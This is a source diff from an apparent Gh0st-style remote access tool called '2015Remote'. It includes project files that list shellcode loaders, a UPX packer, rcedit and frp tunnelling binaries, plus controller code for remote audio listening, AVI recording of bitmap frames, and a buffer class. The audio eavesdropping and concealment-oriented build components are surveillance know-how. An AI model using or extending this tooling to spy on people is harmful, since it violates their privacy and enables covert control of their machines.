<Image Include="res\Bitmap\Reboot.bmp" />
<Image Include="res\Bitmap\Logout.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\Show.bmp" />
<Image Include="res\Bitmap\Exit.bmp" />
<Image Include="res\Bitmap\Settings.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" />
<Image Include="res\Bitmap\Network.bmp" />
<Image Include="res\Bitmap\InputPassword.bmp" />
<Image Include="res\Bitmap\ImportLicense.bmp" />
<Image Include="res\Bitmap\PEEdit.bmp" />
<Image Include="res\Bitmap\AuthGen.bmp" />
<Image Include="res\Bitmap\GenMaster.bmp" />
<Image Include="res\Bitmap\LicenseMgr.bmp" />
<Image Include="res\Bitmap\Keyboard.bmp" />
<Image Include="res\Bitmap\Notify.bmp" />
<Image Include="res\Bitmap\Log.bmp" />
<Image Include="res\Bitmap\History.bmp" />
<Image Include="res\Bitmap\Backup.bmp" />
<Image Include="res\Bitmap\Import.bmp" />
<Image Include="res\Bitmap\Language.bmp" />
<Image Include="res\Bitmap\Refresh.bmp" />
<Image Include="res\Bitmap\Plugin.bmp" />
<Image Include="res\Bitmap\FRP.bmp" />
<Image Include="res\Bitmap\Help.bmp" />
<Image Include="res\Bitmap\Feedback.bmp" />
<Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\RequestAuth.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />
<None Include="..\..\Release\ServerDll.dll" />
<None Include="..\..\Release\TestRun.exe" />
<None Include="..\..\Release\TinyRun.dll" />
<None Include="..\..\x64\Release\ghost.exe" />
<None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" />
<None Include="..\..\x64\Release\TinyRun.dll" />
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\2015Remote.ico" />
<None Include="res\3.cur" />
<None Include="res\4.cur" />
<None Include="res\arrow.cur" />
<None Include="res\audio.ico" />
<None Include="res\bitmap\bmp00001.bmp" />
<None Include="res\Bitmap\Online.bmp" />
<None Include="res\bitmap\toolbar1.bmp" />
<None Include="res\Bitmap\ToolBar_File.bmp" />
<None Include="res\Bitmap\ToolBar_Main.bmp" />
<None Include="res\cmdshell.ico" />
<None Include="res\cursor5.cur" />
<None Include="res\Cur\Drag.cur" />
<None Include="res\Cur\MutiDrag.cur" />
<None Include="res\dword.ico" />
<None Include="res\file.ico" />
<None Include="res\My2015Remote.rc2" />
<None Include="res\pc.ico" />
<None Include="res\string.ico" />
<None Include="res\upx.exe" />
<None Include="res\frpc.dll" />
<None Include="..\..\Release\SCLoader.exe" />
<None Include="..\..\x64\Release\SCLoader.exe" />
<None Include="res\rcedit.exe" />
<None Include="stub2\stub32.bin" />
<None Include="stub2\stub64.bin" />
<None Include="res\SCLoader_32.exe" />
<None Include="res\SCLoader_64.exe" />
<None Include="..\..\linux\ghost" />
<None Include="res\Cur\4.cur" />
<None Include="res\Cur\2.cur" />
<None Include="res\Cur\3.cur" />
<None Include="res\Cur\1.cur" />
<None Include="res\Cur\arrow.cur" />
<None Include="res\3rd\upx.exe" />
<None Include="res\3rd\frpc.dll" />
<None Include="res\3rd\frps.dll" />
<None Include="res\3rd\rcedit.exe" />
<None Include="res\3rd\SCLoader_32.exe" />
<None Include="res\3rd\SCLoader_64.exe" />
</ItemGroup>
<ItemGroup>
<Text Include="..\..\ReadMe.md" />
</ItemGroup>
<ItemGroup>
<Filter Include="file">
<UniqueIdentifier>{17217547-dc35-4a87-859c-e8559529a909}</UniqueIdentifier>
</Filter>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,31 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArgumentsHistory>-agent|</LocalDebuggerCommandArgumentsHistory>
<LocalDebuggerEnvironment>PATH=$(SolutionDir)..\TerminalModule\bin;%PATH%</LocalDebuggerEnvironment>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerEnvironment>PATH=$(SolutionDir)..\TerminalModule\bin;%PATH%</LocalDebuggerEnvironment>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerEnvironment>PATH=$(SolutionDir)..\TerminalModule\bin;%PATH%</LocalDebuggerEnvironment>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>-agent</LocalDebuggerCommandArguments>
<LocalDebuggerCommandArgumentsHistory>-agent|</LocalDebuggerCommandArgumentsHistory>
<LocalDebuggerEnvironment>PATH=$(SolutionDir)..\TerminalModule\bin;%PATH%</LocalDebuggerEnvironment>
</PropertyGroup>
<PropertyGroup>
<RESOURCE_FILE>2015Remote.rc</RESOURCE_FILE>
<ShowAllFiles>false</ShowAllFiles>
</PropertyGroup>
</Project>

View File

@@ -0,0 +1,131 @@
// AudioDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "AudioDlg.h"
#include "afxdialogex.h"
// CAudioDlg 对话框
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
CAudioDlg::CAudioDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CAudioDlg::IDD, pParent, IOCPServer, ContextObject, IDI_ICON_AUDIO)
, m_bSend(FALSE)
{
m_bIsWorking = TRUE;
m_bThreadRun = FALSE;
m_hWorkThread = NULL;
m_nTotalRecvBytes = 0;
}
CAudioDlg::~CAudioDlg()
{
m_bIsWorking = FALSE;
while (m_bThreadRun)
Sleep(50);
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Check(pDX, IDC_CHECK, m_bSend);
}
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_CHECK, &CAudioDlg::OnBnClickedCheck)
END_MESSAGE_MAP()
// CAudioDlg 消息处理程序
BOOL CAudioDlg::OnInitDialog()
{
__super::OnInitDialog();
// 多语言翻译 - Static控件
SetDlgItemText(IDC_STATIC_AUDIO_LISTENING, _TR("正在监听远程声音..."));
SetIcon(m_hIcon,FALSE);
CString strString;
strString.FormatL("%s - 语音监听", m_IPAddress);
SetWindowText(strString);
BYTE bToken = COMMAND_NEXT;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
//启动线程 判断CheckBox
m_hWorkThread = CreateThread(NULL, 0, WorkThread, (LPVOID)this, 0, NULL);
m_bThreadRun = m_hWorkThread ? TRUE : FALSE;
GetDlgItem(IDC_CHECK)->EnableWindow(TRUE);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
DWORD CAudioDlg::WorkThread(LPVOID lParam)
{
CAudioDlg *This = (CAudioDlg *)lParam;
while (This->m_bIsWorking) {
if (!This->m_bSend) {
WAIT_n(This->m_bIsWorking, 1, 50);
continue;
}
DWORD dwBufferSize = 0;
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //播放声音
if (szBuffer != NULL && dwBufferSize > 0)
This->m_ContextObject->Send2Client(szBuffer, dwBufferSize); //没有消息头
}
This->m_bThreadRun = FALSE;
return 0;
}
void CAudioDlg::OnReceiveComplete(void)
{
m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
CString strString;
strString.FormatL("Receive %d KBytes", m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS, strString);
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_AUDIO_DATA: {
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1);
m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //播放波形数据
break;
}
default:
// 传输发生异常数据
break;
}
}
void CAudioDlg::OnClose()
{
CancelIO();
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
m_bIsWorking = FALSE;
WaitForSingleObject(m_hWorkThread, INFINITE);
DialogBase::OnClose();
}
// 处理是否发送本地语音到远程
void CAudioDlg::OnBnClickedCheck()
{
UpdateData(true);
}

View File

@@ -0,0 +1,37 @@
#pragma once
#include "IOCPServer.h"
#include "../../client/Audio.h"
// CAudioDlg 对话框
class CAudioDlg : public DialogBase
{
DECLARE_DYNAMIC(CAudioDlg)
public:
CAudioDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
virtual ~CAudioDlg();
DWORD m_nTotalRecvBytes;
BOOL m_bIsWorking;
BOOL m_bThreadRun;
HANDLE m_hWorkThread;
CAudio m_AudioObject;
static DWORD WINAPI WorkThread(LPVOID lParam);
void OnReceiveComplete(void);
// 对话框数据
enum { IDD = IDD_DIALOG_AUDIO };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
BOOL m_bSend; // 是否发送本地语音到远程
virtual BOOL OnInitDialog();
afx_msg void OnClose();
afx_msg void OnBnClickedCheck();
};

View File

@@ -0,0 +1,604 @@
#include "stdafx.h"
#include "Bmp2Video.h"
#define USE_JPEG 0
#if USE_JPEG
#include "common/turbojpeg.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jpeg/turbojpeg_64_d.lib")
#else
#pragma comment(lib, "jpeg/turbojpeg_64_d.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jpeg/turbojpeg_32_d.lib")
#else
#pragma comment(lib, "jpeg/turbojpeg_32_d.lib")
#endif
#endif
#else
#define tjFree free
#endif
AVISTREAMINFO CBmpToAvi::m_si = {};
CBmpToAvi::CBmpToAvi()
{
m_nFrames = 0;
m_pfile = NULL;
m_pavi = NULL;
m_hic = NULL;
AVIFileInit();
}
CBmpToAvi::~CBmpToAvi()
{
Close();
AVIFileExit();
}
int CBmpToAvi::Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate, FCCHandler h)
{
if (szFile == NULL)
return ERR_INVALID_PARAM;
m_nFrames = 0;
if (AVIFileOpen(&m_pfile, szFile, OF_WRITE | OF_CREATE, NULL))
return ERR_INTERNAL;
m_fccHandler = h;
m_si.fccType = streamtypeVIDEO;
m_si.fccHandler = m_fccHandler;
m_si.dwScale = 1;
m_si.dwRate = rate;
m_width = lpbmi->bmiHeader.biWidth;
m_height = lpbmi->bmiHeader.biHeight;
SetRect(&m_si.rcFrame, 0, 0, m_width, m_height);
m_bitCount = lpbmi->bmiHeader.biBitCount;
if (m_bitCount != 24 && m_bitCount != 32) {
AVIFileRelease(m_pfile);
m_pfile = NULL;
return ERR_NOT_SUPPORT;
}
// 创建正确的BITMAPINFO用于MJPEG
BITMAPINFO bmiFormat = *lpbmi;
if (m_fccHandler == ENCODER_H264) {
// 打开H.264压缩器
m_hic = ICOpen(ICTYPE_VIDEO, mmioFOURCC('X', '2', '6', '4'), ICMODE_COMPRESS);
if (!m_hic) {
AVIFileRelease(m_pfile);
m_pfile = NULL;
return ERR_NO_ENCODER;
}
// 设置输入格式未压缩的24位BMP
BITMAPINFOHEADER inputFormat = { 0 };
inputFormat.biSize = sizeof(BITMAPINFOHEADER);
inputFormat.biWidth = m_width;
inputFormat.biHeight = m_height;
inputFormat.biPlanes = 1;
inputFormat.biBitCount = 24;
inputFormat.biCompression = BI_RGB;
inputFormat.biSizeImage = m_width * m_height * 3;
// 设置输出格式H.264压缩)
BITMAPINFOHEADER outputFormat = inputFormat;
outputFormat.biCompression = mmioFOURCC('X', '2', '6', '4');
// 查询压缩器能否处理这个格式
DWORD result = ICCompressQuery(m_hic, &inputFormat, &outputFormat);
if (result != ICERR_OK) {
ICClose(m_hic);
m_hic = NULL;
AVIFileRelease(m_pfile);
m_pfile = NULL;
Mprintf("ICCompressQuery failed: %d\n", result);
return ERR_NO_ENCODER;
}
// 开始压缩
result = ICCompressBegin(m_hic, &inputFormat, &outputFormat);
if (result != ICERR_OK) {
ICClose(m_hic);
m_hic = NULL;
AVIFileRelease(m_pfile);
m_pfile = NULL;
Mprintf("ICCompressBegin failed: %d\n", result);
return ERR_NO_ENCODER;
}
// 设置质量
m_quality = 7500;
// AVI流配置
bmiFormat.bmiHeader.biCompression = mmioFOURCC('X', '2', '6', '4');
bmiFormat.bmiHeader.biBitCount = 24;
bmiFormat.bmiHeader.biSizeImage = m_width * m_height * 3;
m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage;
} else if (m_fccHandler == ENCODER_MJPEG) {
// MJPEG需要特殊设置
bmiFormat.bmiHeader.biCompression = mmioFOURCC('M', 'J', 'P', 'G');
bmiFormat.bmiHeader.biBitCount = 24; // MJPEG解码后是24位
// 计算正确的图像大小
bmiFormat.bmiHeader.biSizeImage = m_width * m_height * 3;
m_si.dwSuggestedBufferSize = bmiFormat.bmiHeader.biSizeImage * 2; // 预留足够空间
m_quality = 85; // 默认质量
} else {
m_si.dwSuggestedBufferSize = lpbmi->bmiHeader.biSizeImage;
}
if (AVIFileCreateStream(m_pfile, &m_pavi, &m_si)) {
if (m_hic) {
ICCompressEnd(m_hic);
ICClose(m_hic);
m_hic = NULL;
}
AVIFileRelease(m_pfile);
m_pfile = NULL;
return ERR_INTERNAL;
}
if (AVIStreamSetFormat(m_pavi, 0, &bmiFormat, sizeof(BITMAPINFOHEADER))) {
if (m_hic) {
ICCompressEnd(m_hic);
ICClose(m_hic);
m_hic = NULL;
}
AVIStreamRelease(m_pavi);
m_pavi = NULL;
AVIFileRelease(m_pfile);
m_pfile = NULL;
return ERR_INTERNAL;
}
return 0;
}
#if USE_JPEG
// 优化的BMP到JPEG转换
bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality, unsigned char** jpegData, unsigned long* jpegSize)
{
if (!lpBuffer || !jpegData || !jpegSize) {
return false;
}
tjhandle jpegCompressor = tjInitCompress();
if (!jpegCompressor) {
Mprintf("TurboJPEG initialization failed: %s\n", tjGetErrorStr());
return false;
}
// 确保质量在合理范围内
if (quality < 1) quality = 85;
if (quality > 100) quality = 100;
int pitch = width * 3; // BGR24格式每行字节数
// 重要初始化为NULL让TurboJPEG自己分配内存
*jpegData = NULL;
*jpegSize = 0;
// 去掉TJFLAG_NOREALLOC标志让TurboJPEG自动分配内存
int tjError = tjCompress2(
jpegCompressor,
(unsigned char*)lpBuffer,
width,
pitch, // 每行字节数
height,
TJPF_BGR, // BGR格式
jpegData, // TurboJPEG会自动分配内存
jpegSize,
TJSAMP_422, // 4:2:2色度子采样
quality, // 压缩质量
0 // 不使用特殊标志
);
if (tjError != 0) {
Mprintf("TurboJPEG compression failed: %s\n", tjGetErrorStr2(jpegCompressor));
tjDestroy(jpegCompressor);
return false;
}
tjDestroy(jpegCompressor);
// 验证输出
if (*jpegData == NULL || *jpegSize == 0) {
Mprintf("JPEG compression produced no data\n");
return false;
}
Mprintf("JPEG compression successful: %lu bytes\n", *jpegSize);
return true;
}
#else
#include <windows.h>
#include <gdiplus.h>
#include <shlwapi.h>
#pragma comment(lib, "gdiplus.lib")
#pragma comment(lib, "shlwapi.lib")
using namespace Gdiplus;
// ==================== 辅助函数 ====================
// 获取 JPEG 编码器的 CLSID
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
UINT num = 0;
UINT size = 0;
GetImageEncodersSize(&num, &size);
if (size == 0) return -1;
ImageCodecInfo* pImageCodecInfo = (ImageCodecInfo*)malloc(size);
if (pImageCodecInfo == NULL) return -1;
GetImageEncoders(num, size, pImageCodecInfo);
for (UINT j = 0; j < num; ++j) {
if (wcscmp(pImageCodecInfo[j].MimeType, format) == 0) {
*pClsid = pImageCodecInfo[j].Clsid;
free(pImageCodecInfo);
return j;
}
}
free(pImageCodecInfo);
return -1;
}
// ==================== 主函数 ====================
bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
unsigned char** jpegData, unsigned long* jpegSize)
{
if (!lpBuffer || !jpegData || !jpegSize || width <= 0 || height <= 0) {
return false;
}
// 计算 DIB 的行字节数4字节对齐
int rowSize = ((width * 3 + 3) / 4) * 4;
// 创建 Bitmap 对象24位 BGR 格式)
Bitmap* bitmap = new Bitmap(width, height, PixelFormat24bppRGB);
if (!bitmap || bitmap->GetLastStatus() != Ok) {
if (bitmap) delete bitmap;
return false;
}
// 锁定 Bitmap 以写入数据
BitmapData bitmapData;
Rect rect(0, 0, width, height);
Status status = bitmap->LockBits(&rect, ImageLockModeWrite,
PixelFormat24bppRGB, &bitmapData);
if (status != Ok) {
delete bitmap;
return false;
}
// 复制数据注意DIB 是底部到顶部,需要翻转)
BYTE* srcData = (BYTE*)lpBuffer;
BYTE* dstData = (BYTE*)bitmapData.Scan0;
for (int y = 0; y < height; y++) {
// DIB 是从底部开始的,所以需要翻转
BYTE* srcRow = srcData + (height - 1 - y) * rowSize;
BYTE* dstRow = dstData + y * bitmapData.Stride;
memcpy(dstRow, srcRow, width * 3);
}
bitmap->UnlockBits(&bitmapData);
// 获取 JPEG 编码器
CLSID jpegClsid;
if (GetEncoderClsid(L"image/jpeg", &jpegClsid) < 0) {
delete bitmap;
return false;
}
// 设置 JPEG 质量参数
EncoderParameters encoderParams;
encoderParams.Count = 1;
encoderParams.Parameter[0].Guid = EncoderQuality;
encoderParams.Parameter[0].Type = EncoderParameterValueTypeLong;
encoderParams.Parameter[0].NumberOfValues = 1;
ULONG qualityValue = (ULONG)quality;
encoderParams.Parameter[0].Value = &qualityValue;
// 创建内存流用于保存 JPEG
IStream* stream = NULL;
HRESULT hr = CreateStreamOnHGlobal(NULL, TRUE, &stream);
if (FAILED(hr)) {
delete bitmap;
return false;
}
// 保存为 JPEG
status = bitmap->Save(stream, &jpegClsid, &encoderParams);
delete bitmap;
if (status != Ok) {
stream->Release();
return false;
}
// 获取 JPEG 数据
HGLOBAL hMem = NULL;
hr = GetHGlobalFromStream(stream, &hMem);
if (FAILED(hr)) {
stream->Release();
return false;
}
SIZE_T memSize = GlobalSize(hMem);
if (memSize == 0) {
stream->Release();
return false;
}
// 分配输出缓冲区
*jpegSize = (unsigned long)memSize;
*jpegData = new unsigned char[*jpegSize];
// 复制数据
void* pMem = GlobalLock(hMem);
if (pMem) {
memcpy(*jpegData, pMem, *jpegSize);
GlobalUnlock(hMem);
} else {
delete[] * jpegData;
*jpegData = NULL;
stream->Release();
return false;
}
stream->Release();
return true;
}
// ==================== GDI+ 初始化/清理 ====================
class GdiplusManager
{
private:
ULONG_PTR gdiplusToken;
bool initialized;
public:
GdiplusManager() : gdiplusToken(0), initialized(false)
{
GdiplusStartupInput gdiplusStartupInput;
if (GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) == Ok) {
initialized = true;
}
}
~GdiplusManager()
{
if (initialized) {
GdiplusShutdown(gdiplusToken);
}
}
bool IsInitialized() const
{
return initialized;
}
};
// 全局对象,自动初始化和清理
static GdiplusManager g_gdiplusManager;
#endif
// 正确的32位转24位转换含翻转
unsigned char* ConvertScreenshot32to24(unsigned char* p32bitBmp, int width, int height)
{
// 计算BMP的实际行大小4字节对齐
int srcRowSize = ((width * 32 + 31) / 32) * 4;
int dstRowSize = width * 3; // 目标是紧凑的24位
unsigned char* p24bitBmp = (unsigned char*)malloc(dstRowSize * height);
if (!p24bitBmp) return nullptr;
for (int y = 0; y < height; y++) {
// BMP是从下到上存储需要翻转
unsigned char* src = p32bitBmp + (height - 1 - y) * srcRowSize;
unsigned char* dst = p24bitBmp + y * dstRowSize;
for (int x = 0; x < width; x++) {
dst[x * 3 + 0] = src[x * 4 + 0]; // B
dst[x * 3 + 1] = src[x * 4 + 1]; // G
dst[x * 3 + 2] = src[x * 4 + 2]; // R
// 忽略Alpha通道
}
}
return p24bitBmp;
}
// 24位BMP处理含翻转和去对齐
unsigned char* Process24BitBmp(unsigned char* lpBuffer, int width, int height)
{
// BMP 24位行大小4字节对齐
int srcRowSize = ((width * 24 + 31) / 32) * 4;
int dstRowSize = width * 3; // 紧凑格式
unsigned char* processed = (unsigned char*)malloc(dstRowSize * height);
if (!processed) return nullptr;
for (int y = 0; y < height; y++) {
// 翻转并去除填充字节
unsigned char* src = lpBuffer + (height - 1 - y) * srcRowSize;
unsigned char* dst = processed + y * dstRowSize;
memcpy(dst, src, dstRowSize);
}
return processed;
}
bool CBmpToAvi::Write(unsigned char* lpBuffer)
{
if (m_pfile == NULL || m_pavi == NULL || lpBuffer == NULL)
return false;
unsigned char* writeData = nullptr;
unsigned long writeSize = 0;
bool needFree = false;
switch (m_fccHandler) {
case ENCODER_BMP:
writeData = lpBuffer;
writeSize = m_si.dwSuggestedBufferSize;
break;
case ENCODER_H264: {
unsigned char* processedBuffer = nullptr;
if (m_bitCount == 32) {
processedBuffer = ConvertScreenshot32to24(lpBuffer, m_width, m_height);
} else if (m_bitCount == 24) {
processedBuffer = Process24BitBmp(lpBuffer, m_width, m_height);
}
if (!processedBuffer) {
Mprintf("Failed to process buffer\n");
return false;
}
// 创建正确的格式头
BITMAPINFOHEADER inputHeader = { 0 };
inputHeader.biSize = sizeof(BITMAPINFOHEADER);
inputHeader.biWidth = m_width;
inputHeader.biHeight = -m_height;
inputHeader.biPlanes = 1;
inputHeader.biBitCount = 24;
inputHeader.biCompression = BI_RGB;
inputHeader.biSizeImage = m_width * m_height * 3;
BITMAPINFOHEADER outputHeader = inputHeader;
outputHeader.biCompression = mmioFOURCC('X', '2', '6', '4');
// 分配输出缓冲区
DWORD maxCompressedSize = m_width * m_height * 3;
unsigned char* compressedData = (unsigned char*)malloc(maxCompressedSize);
if (!compressedData) {
free(processedBuffer);
Mprintf("Failed to allocate compression buffer\n");
return false;
}
DWORD flags = 0;
// 正确调用ICCompress
DWORD result = ICCompress(
m_hic, // 压缩器句柄
0, // 标志0=自动决定关键帧)
&outputHeader, // 输出格式头
compressedData, // 输出数据
&inputHeader, // 输入格式头
processedBuffer, // 输入数据
NULL, // ckid
&flags, // 输出标志
m_nFrames, // 帧号
0, // 期望大小0=自动)
m_quality, // 质量
NULL, // 前一帧格式头
NULL // 前一帧数据
);
if (result != ICERR_OK) {
free(compressedData);
free(processedBuffer);
Mprintf("ICCompress failed: %d\n", result);
return false;
}
// 实际压缩大小在outputHeader.biSizeImage中
writeData = compressedData;
writeSize = outputHeader.biSizeImage;
needFree = true;
free(processedBuffer);
break;
}
case ENCODER_MJPEG: {
unsigned char* processedBuffer = nullptr;
// 处理不同位深度
if (m_bitCount == 32) {
processedBuffer = ConvertScreenshot32to24(lpBuffer, m_width, m_height);
} else if (m_bitCount == 24) {
processedBuffer = Process24BitBmp(lpBuffer, m_width, m_height);
}
if (!processedBuffer) {
return false;
}
// 压缩为JPEG
if (!BmpToJpeg(processedBuffer, m_width, m_height, m_quality, &writeData, &writeSize)) {
free(processedBuffer);
Mprintf("Failed to compress JPEG\n");
return false;
}
free(processedBuffer);
needFree = true;
break;
}
default:
return false;
}
// 写入AVI流
LONG bytesWritten = 0;
LONG samplesWritten = 0;
HRESULT hr = AVIStreamWrite(m_pavi, m_nFrames, 1,
writeData, writeSize,
AVIIF_KEYFRAME,
&samplesWritten, &bytesWritten);
if (needFree && writeData) {
if (m_fccHandler == ENCODER_MJPEG) {
tjFree(writeData);
} else {
free(writeData);
}
}
if (hr != AVIERR_OK) {
Mprintf("AVIStreamWrite failed: 0x%08X\n", hr);
return false;
}
m_nFrames++;
return true;
}
void CBmpToAvi::Close()
{
if (m_hic) {
ICCompressEnd(m_hic);
ICClose(m_hic);
m_hic = NULL;
}
if (m_pavi) {
AVIStreamRelease(m_pavi);
m_pavi = NULL;
}
if (m_pfile) {
AVIFileRelease(m_pfile);
m_pfile = NULL;
}
m_nFrames = 0;
}

View File

@@ -0,0 +1,56 @@
#pragma once
#include <Vfw.h>
#pragma comment(lib,"Vfw32.lib")
#define ERR_INVALID_PARAM 1
#define ERR_NO_ENCODER 2
#define ERR_INTERNAL 3
#define ERR_NOT_SUPPORT 4
enum FCCHandler {
ENCODER_BMP = BI_RGB,
ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'),
// 安装x264vfw编解码器: https://sourceforge.net/projects/x264vfw/
ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'),
};
/************************************************************************
* @class CBmpToAvi
* @brief 位图转AVI帧
************************************************************************/
class CBmpToAvi
{
public:
CBmpToAvi();
virtual ~CBmpToAvi();
int Open(LPCTSTR szFile, LPBITMAPINFO lpbmi, int rate = 4, FCCHandler h = ENCODER_BMP);
bool Write(unsigned char* lpBuffer);
void Close();
static std::string GetErrMsg(int result)
{
switch (result) {
case ERR_INVALID_PARAM:
return ("无效参数");
case ERR_NOT_SUPPORT:
return ("不支持的位深度需要24位或32位");
case ERR_NO_ENCODER:
return ("未安装x264编解码器 \n下载地址https://sourceforge.net/projects/x264vfw");
case ERR_INTERNAL:
return("创建AVI文件失败");
default:
return "succeed";
}
}
private:
FCCHandler m_fccHandler;
PAVIFILE m_pfile;
PAVISTREAM m_pavi;
int m_nFrames;
static AVISTREAMINFO m_si; // 这个参数需要是静态的
int m_bitCount = 24;
int m_width = 1920;
int m_height = 1080;
int m_quality = 90;
HIC m_hic = NULL;
};

View File

@@ -0,0 +1,339 @@
#include "StdAfx.h"
#include "Buffer.h"
#include <math.h>
// 增大页面对齐大小,减少重新分配次数 (4KB对齐)
#define U_PAGE_ALIGNMENT 4096
#define F_PAGE_ALIGNMENT 4096.0
// 压缩阈值:当已读取数据超过此比例时才进行压缩
#define COMPACT_THRESHOLD 0.5
CBuffer::CBuffer(void)
{
m_ulMaxLength = 0;
m_ulReadOffset = 0;
m_Ptr = m_Base = NULL;
InitializeCriticalSection(&m_cs);
}
CBuffer::~CBuffer(void)
{
if (m_Base) {
VirtualFree(m_Base, 0, MEM_RELEASE);
m_Base = NULL;
}
DeleteCriticalSection(&m_cs);
m_Base = m_Ptr = NULL;
m_ulMaxLength = 0;
m_ulReadOffset = 0;
}
ULONG CBuffer::RemoveCompletedBuffer(ULONG ulLength)
{
EnterCriticalSection(&m_cs);
// 有效数据长度(考虑已读取偏移)
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
if (ulLength > effectiveDataLen) { // 请求长度比有效数据长度还大
ulLength = effectiveDataLen;
}
if (ulLength) {
// 使用延迟移动策略:只更新读取偏移,不立即移动数据
m_ulReadOffset += ulLength;
// 当已读取数据超过阈值时才进行压缩
if (m_ulReadOffset > m_ulMaxLength * COMPACT_THRESHOLD) {
CompactBuffer();
}
}
LeaveCriticalSection(&m_cs);
return ulLength;
}
// 压缩缓冲区,移除已读取的数据
VOID CBuffer::CompactBuffer()
{
// 此函数应在持有锁的情况下调用
if (m_ulReadOffset > 0 && m_Base) {
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
// 防止下溢:确保 remainingData 不为负
ULONG remainingData = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
if (remainingData > 0) {
MoveMemory(m_Base, m_Base + m_ulReadOffset, remainingData);
}
m_Ptr = m_Base + remainingData;
m_ulReadOffset = 0;
// 尝试缩减缓冲区
DeAllocateBuffer(remainingData);
}
}
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
// 计算有效数据长度(考虑读取偏移,防止下溢)
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
if (ulLength > effectiveDataLen) {
ulLength = effectiveDataLen;
}
if (ulLength) {
// 从当前读取位置拷贝数据
CopyMemory(Buffer, m_Base + m_ulReadOffset, ulLength);
// 更新读取偏移而不是移动数据
m_ulReadOffset += ulLength;
// 当已读取数据超过阈值时才进行压缩
if (m_ulReadOffset > m_ulMaxLength * COMPACT_THRESHOLD) {
CompactBuffer();
}
}
LeaveCriticalSection(&m_cs);
return ulLength;
}
// 私有: 缩减缓存
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
{
if (ulLength < (m_Ptr - m_Base))
return 0;
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
if (m_ulMaxLength <= ulNewMaxLength) {
return 0;
}
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
ULONG ulv1 = m_Ptr - m_Base; //从原来内存中的有效数据
CopyMemory(NewBase,m_Base,ulv1);
